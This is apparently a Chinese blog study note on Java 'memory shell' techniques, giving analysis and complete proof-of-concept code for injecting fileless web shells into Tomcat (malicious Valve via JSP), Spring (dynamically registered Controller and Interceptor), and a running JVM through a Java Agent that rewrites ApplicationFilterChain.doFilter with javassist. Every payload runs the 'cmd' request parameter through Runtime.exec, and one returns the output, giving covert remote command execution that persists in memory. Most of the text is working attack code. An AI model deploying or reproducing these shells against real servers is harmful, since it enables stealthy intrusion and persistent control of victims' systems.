1 2 3 4 5 6 7 8 @Override public Valve getFirst () { if (first != null ) { return first; } return basic; }
最后通过调用StandardEngineValve.invoke()来实现Valve的各种业务逻辑
(这里调用Engine是因为Engine排第一位)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public final void invoke (Request request, Response response) throws IOException, ServletException { Host host = request.getHost(); if (host == null ) { if (!response.isError()) { response.sendError(404 ); } return ; } if (request.isAsyncSupported()) { request.setAsyncSupported(host.getPipeline().isAsyncSupported()); } host.getPipeline().getFirst().invoke(request, response); }
host.getPipeline().getFirst().invoke(request, response)实现调用后续的Valve。
(就是调用host自身的Valve)
动态添加Valve 根据上文的分析我们能够总结出Valve型内存马的注入思路
获取StandardContext对象
通过StandardContext对象获取StandardPipeline
就是这里来获取到这个StandardPipelined的 所以我手动添加
编写恶意Valve
通过StandardPipeline.addValve()动态添加Valve
这里添加是为了getFirst()的时候能够调用到 并且执行这个传进来的Valve里的invoke方法
获取StandardContext和StandardPipeline对象 1 2 3 4 5 6 7 8 <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); Pipeline pipeline = standardContext.getPipeline(); %>
编写恶意Valve类 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <%! class Shell_Valve extends ValveBase { @Override public void invoke (Request request, Response response) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); if (cmd !=null ){ try { Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } } %>
将恶意Valve添加进StandardPipeline 1 2 3 4 <% Shell_Valve shell_valve = new Shell_Valve (); pipeline.addValve(shell_valve); %>
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="org.apache.catalina.Pipeline" %> <%@ page import ="org.apache.catalina.valves.ValveBase" %> <%@ page import ="org.apache.catalina.connector.Response" %> <%@ page import ="java.io.IOException" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); Pipeline pipeline = standardContext.getPipeline(); %> <%! class Shell_Valve extends ValveBase { @Override public void invoke (Request request, Response response) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); if (cmd !=null ){ try { Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } } %> <% Shell_Valve shell_valve = new Shell_Valve (); pipeline.addValve(shell_valve); %>
访问Valve.jsp将内存马写入
然后直接命令执行就行了
Spring内存马 介绍Spring 这篇文章有介绍Spring的 建议直接去就行 这里就不写了
关于Spring内存马 一共有两种类型 就是Controller和Interceptor这两种类型
这里的就不多写了 因为看不太懂 太绕了
直接写实现思路了
Controller型内存马 实现思路 和Tomcat内存马类似,我们就需要了解如何动态的注册Controller,思路如下
获取上下文环境
注册恶意Controller
配置路径映射
(前面省略了很多步骤没写 可以去看 这篇文章 来加深理解 我没写是因为我单纯看不懂…………………..)
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package com.shell.controller; import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest;import java.io.IOException;import java.lang.reflect.Method; @Controller public class shell_controller { @RequestMapping("/control") public void Spring_Controller () throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class); Method method = Controller_Shell.class.getDeclaredMethod("shell" ); PatternsRequestCondition url = new PatternsRequestCondition ("/shell" ); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition (); RequestMappingInfo info = new RequestMappingInfo (url, ms, null , null , null , null , null ); r.registerMapping(info, new Controller_Shell (), method); } public class Controller_Shell { public Controller_Shell () {} public void shell () throws IOException { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); Runtime.getRuntime().exec(request.getParameter("cmd" )); } } }
这里就是刚访问/control路由的时候会显示未找到 返回404
这样就会将内存马写入进去
然后访问/shell执行命令就会成功
结束了
高版本spring内存马(上面是低版本) 前言 在这篇文章上面用的是spring 5.3.19版本 对应springboot2.6及以下版本,但是现在SpringBoot已经在3.x版本了,在这种条件下我们该如何去打进内存马呢?
分析
PathPattern改为了AntPathMatcher
其实这里本质上的不同就是在获取这个路由的方法不同
高版本的spring与低版本的差别就是在这了 获取RequestMappingInfo的方法不同(就是获取路由的方法不同 )
总的来说就是步骤和这个低版本的spring内存马是一样的 差别只是在这个获取RequestMappingInfo方法
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 package com.example.springshell.controller;import jakarta.servlet.http.HttpServletRequest;import jakarta.servlet.http.HttpServletResponse;import org.springframework.context.ApplicationContext;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.Scanner;@Controller public class EvilShell { @RequestMapping("/control") public void Spring_Controller () throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException { System.out.println("i am in" ); WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field configField = mappingHandlerMapping.getClass().getDeclaredField("config" ); configField.setAccessible(true ); RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping); Method method2 = Controller_Shell.class.getMethod("shell" , HttpServletRequest.class, HttpServletResponse.class); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition (); RequestMappingInfo info = RequestMappingInfo.paths("/shell" ) .options(config) .build(); Controller_Shell springControllerMemShell = new Controller_Shell (); mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2); } public class Controller_Shell { public void shell (HttpServletRequest request, HttpServletResponse response) throws IOException { if (request.getParameter("cmd" ) != null ) { boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , request.getParameter("cmd" )} : new String []{"cmd.exe" , "/c" , request.getParameter("cmd" )}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; response.getWriter().write(output); response.getWriter().flush(); } } } }
Interceptor型内存马 什么是Interceptor Spring MVC 的拦截器(Interceptor)与 Java Servlet 的过滤器(Filter)类似,它主要用于拦截用户的请求并做相应的处理,通常应用在权限验证、记录请求信息的日志、判断用户是否登录等功能上。
在 Spring MVC 框架中定义一个拦截器需要对拦截器进行定义和配置,主要有以下 2 种方式。
通过实现 HandlerInterceptor 接口或继承 HandlerInterceptor 接口的实现类(例如 HandlerInterceptorAdapter)来定义
通过实现 WebRequestInterceptor 接口或继承 WebRequestInterceptor 接口的实现类来定义
Interceptor示例 这里我们选择继承HandlerInterceptor接口来实现一个Interceptor。HandlerInterceptor接口有三个方法,如下
preHandle:该方法在控制器 的处理请求方法前执行,其返回值表示是否中断后续操作,返回 true 表示继续向下执行,返回 false 表示中断后续操作。
postHandle:该方法在控制器的处理请求方法调用之后、解析视图之前执行,可以通过此方法对请求域中的模型和视图做进一步的修改。
afterCompletion:该方法在控制器的处理请求方法执行完成后执行,即视图渲染结束后执行,可以通过此方法实现一些资源清理、记录日志信息等工作。
这里对构造内存马来说最重要的是这个preHandle方法
就是如上面所说的 就是在控制器处理请求之前执行
(这里的话就是涉及到这个开发的MVC知识 了解过的话看这里会容易一点)
写个demo来判断一下是否是这个样子
Controller
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package com.shell.controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;@Controller public class Spring_Controller { @ResponseBody @RequestMapping("/login") public String Login () { return "Success!" ; } }
interceptor
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package com.shell.interceptor;import org.springframework.web.servlet.HandlerInterceptor;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.PrintWriter;public class Spring_Interceptor implements HandlerInterceptor { @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String url = request.getRequestURI(); PrintWriter writer = response.getWriter(); if ( url.indexOf("/login" ) >= 0 ){ writer.write("LoginIn" ); writer.flush(); writer.close(); return true ; } writer.write("LoginInFirst" ); writer.flush(); writer.close(); return false ; } }
在springmvc.xml配置文件中配置相应的Interceptor
1 2 3 4 5 6 7 8 ... <mvc:interceptors > <mvc:interceptor > <mvc:mapping path ="/*" /> <bean class ="com.shell.interceptor.Spring_Interceptor" /> </mvc:interceptor > </mvc:interceptors > ...
接下来分析这么调用到这个preHandle的
request调用流程 在ApplicationFilterChain#internalDoFilter处下一个断点,可以看到此时的调用栈是和启动Tomcat时相同的
这里其实会循环在internalDoFilter和doFilter之间来回调用 可能我选的是第一个internalDoFilter 导致现在只看到一个
但与Tomcat不同的是,当调用到HttpServlet#service时,最终会调用DispatcherServlet#doDispatch进行逻辑处理,这正是Spring的逻辑处理核心类。
1 2 3 4 5 6 7 8 9 doDispatch:1028, DispatcherServlet (org.springframework.web.servlet) doService:963, DispatcherServlet (org.springframework.web.servlet) processRequest:1006, FrameworkServlet (org.springframework.web.servlet) doGet:898, FrameworkServlet (org.springframework.web.servlet) service:655, HttpServlet (javax.servlet.http) service:883, FrameworkServlet (org.springframework.web.servlet) service:764, HttpServlet (javax.servlet.http) internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
跟进到getHandler方法
在 getHandler 方法中,会通过遍历 this.handlerMappings 来获取 HandlerMapping 对象实例 mapping
( )
这个mapping正好是org.springframework.web.servlet.handler.AbstractHandlerMapping 类,如何调用到getHandler方法
并通过 getHandlerExecutionChain(handler, request) 方法返回 HandlerExecutionChain 类的实例
跟进AbstractHandlerMapping#getHandlerExecutionChain
可以看到其通过adaptedInterceptors获取所有Interceptor后进行遍历,其中可以看见一个我们自己定义的Interceptor
然后通过chain.addInterceptor()将所有Interceptor添加到HandlerExecutionChain中。最后返回到DispatcherServlet#doDispatch()中 ,调用mappedHandler.applyPreHandle方法
然后遍历调用Interceptor中的preHandle()拦截方法。
因此当一个Request发送到Spring应用时,大致会经过如下几个层面才会进入Controller层
1 HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Controller
前面大量的分析主要都是分析在DispactherServlet在如何获取Interceptor的过程中
Interceptor型内存马实现过程 通过以上分析,Interceptor实际上是可以拦截所有想到达Controller的请求的。下面的问题就是如何动态地注册一个恶意的Interceptor了。由于Interceptor和Filter有一定的相似之处,因此我们可以仿照Filter型内存马的实现思路
获取当前运行环境的上下文
实现恶意Interceptor
注入恶意Interceptor
获取环境上下文 在Controller型内存马中,给出了四种获取Spring上下文ApplicationContext的方法。下面我们还可以通过反射获取LiveBeansView类的applicationContexts 属性来获取上下文。
1 2 3 4 5 6 java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView" ).getDeclaredField("applicationContexts" ); filed.setAccessible(true ); org.springframework.web.context.WebApplicationContext context = (org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null )).iterator().next();
org.springframework.context.support.LiveBeansView 类在 spring-context 3.2.x 版本(现在最新版本是 5.3.x )才加入其中,所以比较低版本的 spring 无法通过此方法获得 ApplicationContext 的实例。
获取adaptedInterceptors属性值 获得 ApplicationContext 实例后,还需要知道 org.springframework.web.servlet.handler.AbstractHandlerMapping 类实例的 bean name 叫什么。
在这类里面给adaptedInterceptors赋值
我们可以通过ApplicationContext上下文来获取AbstractHandlerMapping,进而反射获取adaptedInterceptors属性值
1 2 3 4 org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping" ); java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" ); field.setAccessible(true ); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
实现恶意Interceptor 这里选择继承HandlerInterceptor接口,并重写其preHandle方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package com.shell.interceptor; import org.springframework.web.servlet.HandlerInterceptor; import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException; public class Shell_Interceptor implements HandlerInterceptor { @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } return true ; } return false ; } }
动态注册Interceptor 我们知道Spring是通过遍历adaptedInterceptors属性值来执行Interceptor的,因此最后我们只需要将恶意Interceptor加入到 adaptedInterceptors 属性值中就可以了。
(这里能使用这个add()的原因是这个adaptedInterceptors是这个List类型 所以可以使用add())
1 2 3 Shell_Interceptor shell_interceptor = new Shell_Interceptor ();adaptedInterceptors.add(shell_interceptor);
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 package com.shell.controller; import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import org.springframework.web.servlet.support.RequestContextUtils; import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException; @Controller public class Inject_Shell_Interceptor_Controller { @ResponseBody @RequestMapping("/inject") public void Inject () throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean(RequestMappingHandlerMapping.class); java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" ); field.setAccessible(true ); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping); Shell_Interceptor shell_interceptor = new Shell_Interceptor (); adaptedInterceptors.add(shell_interceptor); } public class Shell_Interceptor implements HandlerInterceptor { @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } return true ; } return false ; } } }
成功弹出计算器
Java Agent内存马 Jvav_Agent是什么 我们知道Java是一种静态强类型语言,在运行之前必须将其编译成.class字节码,然后再交给JVM处理运行。Java Agent就是一种能在不影响正常编译的前提下,修改Java字节码,进而动态地修改已加载或未加载的类、属性和方法的技术。
实际上,平时较为常见的技术如热部署、一些诊断工具等都是基于Java Agent技术来实现的。那么Java Agent技术具体是怎样实现的呢?
对于Agent(代理)来讲,其大致可以分为两种,一种是在JVM启动前加载的premain-Agent,另一种是JVM启动之后加载的agentmain-Agent。这里我们可以将其理解成一种特殊的Interceptor(拦截器),如下图
Java_Agent示例 premain-Agent 我们首先来实现一个简单的premain-Agent,创建一个Maven项目,编写一个简单的premain-Agent
1 2 3 4 5 6 7 8 9 10 11 package com.java.premain.agent; import java.lang.instrument.Instrumentation; public class Java_Agent_premain { public static void premain (String args, Instrumentation inst) { for (int i = 0 ; i<10 ; i++){ System.out.println("调用了premain-Agent!" ); } } }
接着在resource/META-INF/下创建MANIFEST.MF清单文件用以指定premain-Agent的启动类
1 2 Manifest-Version: 1.0 Premain-Class: com.java.premain.agent.Java_Agent_premain
将其打包成jar文件
创建一个目标类
1 2 3 4 5 public class Hello { public static void main (String[] args) { System.out.println("Hello World!" ); } }
添加JVM Options(注意冒号之后不能有空格)
1 -javaagent:"out/artifacts/Java_Agent_jar/Java_Agent.jar"
运行结果如下
agentmain-Agent 相较于premain-Agent只能在JVM启动前加载,agentmain-Agent能够在JVM启动之后加载并实现相应的修改字节码功能。下面我们来了解一下和JVM有关的两个类。
(重新建一个项目来执行这个)
VirtualMachine类 com.sun.tools.attach.VirtualMachine类可以实现获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等功能。
该类允许我们通过给attach方法传入一个JVM的PID,来远程连接到该JVM上 ,之后我们就可以对连接的JVM进行各种操作,如注入Agent。下面是该类的主要方法
(这个就是java在运行之前会编译成class文件 然后并且交给JVM运行 并且这个是一个独立的进程 ) 一个独立的进程对应一个独立的JVM
1 2 3 4 5 6 7 8 9 10 11 VirtualMachine.attach() VirtualMachine.loadAgent() VirtualMachine.list() VirtualMachine.detach()
VirtualMachineDescriptor类 com.sun.tools.attach.VirtualMachineDescriptor类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。下面是一个获取特定虚拟机PID的示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import com.sun.tools.attach.VirtualMachine;import com.sun.tools.attach.VirtualMachineDescriptor; import java.util.List; public class get_PID { public static void main (String[] args) { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ if (vmd.displayName().equals("get_PID" )) System.out.println(vmd.id()); } } } ## 4908 Process finished with exit code 0
下面我们就来实现一个agentmain-Agent。首先我们编写一个Sleep_Hello类,模拟正在运行的JVM
1 2 3 4 5 6 7 8 9 10 import static java.lang.Thread.sleep; public class Sleep_Hello { public static void main (String[] args) throws InterruptedException { while (true ){ System.out.println("Hello World!" ); sleep(5000 ); } } }
然后编写我们的agentmain-Agent类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package com.java.agentmain.agent; import java.lang.instrument.Instrumentation; import static java.lang.Thread.sleep; public class Java_Agent_agentmain { public static void agentmain (String args, Instrumentation inst) throws InterruptedException { while (true ){ System.out.println("调用了agentmain-Agent!" ); sleep(3000 ); } } }
同时修改配置MANIFEST.MF文件
编译打包成jar文件out/artifacts/Java_Agent_jar/Java_Agent.jar
最后编写一个Inject_Agent类,获取特定JVM的PID并注入Agent
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package com.java.inject;import com.sun.tools.attach.*;import java.io.IOException;import java.util.List;public class Inject_Agent { public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ System.out.println(vmd.displayName()); if (vmd.displayName().equals("com.java.agentmain.agent.Sleep_Hello" )){ VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); System.out.println("" ); virtualMachine.loadAgent("out/artifacts/Java_Agent_agentmain_jar/Java_Agent_agentmain.jar" ); virtualMachine.detach(); } } } }
先运行 Sleep_Hello
再运行Inject_Agent
这里的名字必须改成这个 否则会找不到
Instrumentation Instrumentation是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。
其在Java中是一个接口,常用方法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public interface Instrumentation { void addTransformer (ClassFileTransformer transformer, boolean canRetransform) ; void addTransformer (ClassFileTransformer transformer) ; boolean removeTransformer (ClassFileTransformer transformer) ; void retransformClasses (Class<?>... classes) throws UnmodifiableClassException; boolean isModifiableClass (Class<?> theClass) ; @SuppressWarnings("rawtypes") Class[] getAllLoadedClasses(); long getObjectSize (Object objectToSize) ; }
获取目标JVM已加载类 这里懒得跟了 解释一下就是使用javassist 配合transform来修改正在运行JVM的字节码。 然后配合inject_agent将修改的恶意字节码进行注入
这里就是说的是修改前的和修改后的类
(这篇文章就是在同一个类上进行修改 就满足了上面的所有条件 只是方法体不同而已 就是函数内容不一样)
想要了解更详细的话 可以去看上面的参考文章 讲的很清楚了 这里是我懒 所以就不继续跟了。。。。。。。。。。。
Agent内存马 现在我们可以通过Java Agent技术来修改正在运行JVM中的方法体,那么我们可以Hook一些JVM一定会调用、并且Hook之后不会影响正常业务逻辑的的方法来实现内存马。
这里我们以Spring Boot为例,来实现一个Agent内存马
Spring Boot中的Tomcat 简单的搭建springboot进行测试
这里要注意的是启动器得和controller在一个package下 (默认的情况下)
接下来是搭建这个SpringMVC
(因为一个小bug 搭建了3个小时 tmd)
成功进行搭建
开始进行分析了
我们知道,Spring Boot中内嵌了一个embed Tomcat作为其启动容器。既然是Tomcat,那肯定有相应的组件容器。我们先来调试一下SpringBoot,部分调用栈如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 Context:20 , Context_Learn (com.example.spring_controller) ... (org.springframework.web.servlet.mvc.method.annotation) handleInternal:808 , RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation) handle:87 , AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method) doDispatch:1067 , DispatcherServlet (org.springframework.web.servlet) doService:963 , DispatcherServlet (org.springframework.web.servlet) processRequest:1006 , FrameworkServlet (org.springframework.web.servlet) doGet:898 , FrameworkServlet (org.springframework.web.servlet) service:655 , HttpServlet (javax.servlet.http) service:883 , FrameworkServlet (org.springframework.web.servlet) service:764 , HttpServlet (javax.servlet.http) internalDoFilter:227 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) doFilter:53 , WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:189 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:100 , RequestContextFilter (org.springframework.web.filter) doFilter:117 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:93 , FormContentFilter (org.springframework.web.filter) doFilter:117 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:201 , CharacterEncodingFilter (org.springframework.web.filter) doFilter:117 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) ...
可以看到会按照责任链机制反复调用ApplicationFilterChain#doFilter()方法
跟到internalDoFilter()方法中
以上两个方法均拥有ServletRequest和ServletResponse,并且hook不会影响正常的业务逻辑,因此很适合作为内存马的回显。下面我们尝试利用
利用Java Agent实现Spring Filter内存马 我们复用上面的agentmain-Agent,修改字节码的关键在于transformer()方法,因此我们重写该方法即可
(不用premain的原因是因为一般注入内存马的话 程序已经在运行了 就不能在程序运行前进行注入了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package com.java.agentmain.instrumentation.transformer; import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod; import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain; public class Filter_Transform implements ClassFileTransformer { @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { try { ClassPool classPool = ClassPool.getDefault(); if (classBeingRedefined != null ) { ClassClassPath ccp = new ClassClassPath (classBeingRedefined); classPool.insertClassPath(ccp); } CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain" ); CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter" ); String body = "{" + "javax.servlet.http.HttpServletRequest request = $1\n;" + "String cmd=request.getParameter(\"cmd\");\n" + "if (cmd !=null){\n" + " Runtime.getRuntime().exec(cmd);\n" + " }" + "}" ; ctMethod.setBody(body); byte [] bytes = ctClass.toBytecode(); return bytes; }catch (Exception e){ e.printStackTrace(); } return null ; } }
这是构造恶意的字节码
Inject_Agent_Spring类如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package com.java.inject; import com.sun.tools.attach.*; import java.io.IOException;import java.util.List; public class Inject_Agent_Spring { public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ if (vmd.displayName().equals("com.example.java_agent_springboot.JavaAgentSpringBootApplication" )){ VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("out/artifacts/Java_Agent_jar/Java_Agent.jar" ); virtualMachine.detach(); } } } }
这个代码就是将恶意的字节码进行注入
内存马到这就结束了 学习了挺久的这么多内容 (虽然说是学完了 但是会不会还是另说。。。。。。。。。)
内存马回显技术在新开一篇文章来写